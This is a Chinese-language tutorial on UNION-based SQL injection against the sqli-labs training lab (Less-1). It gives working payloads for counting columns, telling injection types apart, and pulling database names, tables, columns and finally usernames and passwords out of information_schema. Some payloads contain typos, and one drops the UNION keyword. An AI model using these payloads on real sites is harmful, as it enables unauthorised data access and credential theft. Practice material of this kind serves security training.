(这里使用sql-labs靶场less1作为例子)
一、什么是联合查询注入(原理)?
使用UNION关键字,对两个select语句进行联合查询;使用前提是前后查询的语句必须拥有相同数量的列(字段),列也必需拥有相同的数据类型。
二、应用场景
在判断为有显位的情况下优先使用
如何判断? 可以使用order by语句进行测试语句有多少个字段,然后再配合 UINON SELECT进行判断。例如在less1中,通过?id=1‘ order by 4 报错则判断出字段数为3,所以可构造语句 ?id=-1‘ union select 1,2,3 --+ 即可获得如下的显位。(注意id的参数为-1,因为源代码Mysql_fetch_aarry只生成首行关联数组的原因,得让服务器执行union之后的语句
三、基本流程
1.判断是否存在注入点以及是字符型还是数字型
方法一:单引号法,给id参数增加一个 单引号 ‘ 看看是否会报错
方法二:逻辑法,可以先使用 ?id=1 and 1=2 --+判断是否报错,如果不报错,则说则注入是字符型。来看看源代码 $sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1;" 因为1=2本 来是恒不相等的,但是这里却没有报错,则说明其被包含在引号之间而没有参加运算,所以判断为字符型注入。也可以使用1’ and ‘1‘=‘1 来判断类型,这样传递参数后刚好 为 $sql="SELECT * FROM users WHERE id=‘‘i$d=1‘ and ’1‘=’1’ LIMIT 0,1;",不会报错则索命为字符型。此处还有很多判断方法,暂不赘述。
2.判断数据库版本
使用-1‘ union select 1,2,version()--+即可获得数据库版本,为什么需要版本呢?因为版本是否大于5.0决定能否利用information_schema数据库。
3.爆数据库
方法一:直接使用database()函数。在本例中因为有三个字段,所以可构造语句为 -1‘ union select 1,2,database() --+,则可返回当前数据库名(如下图)
方法二:在mysql版本大于5.0时,可利用information_schema数据库进行猜解。可构造语句 -1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+.group_concat作为拼接函数,能够使所有库名同时显示。schema_name是存储了所有数据库名称的一个字段/列。schemata则是一个存储数据库相关信息的表。
4.爆数据表
通过上一步知道了有哪些数据库,而我们在这里需要查询的就是security数据库其中有哪些表。我们可构造语句-1‘ union select 1,2,table_name from information_schema.tables where table_schema=‘security‘ --+【where 子句也可以写成 table_schema=database】,然后可以得出该数据库有如下表。
5.爆数据列
在这里我们选择想要查询users表的列名,可构造语句 -1‘ select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+.其中column_name是存储着所有列名的一个字段,columns是存储着列相关信息的表。通过该语句,即可获得列名。
6.获取数据
根据已知信息,最后使用语句 -1‘ UNION SELECT 1, username,password from users LIMIT 1,1来获取数据【其中修改LIMIT参数可获取不同行的数据】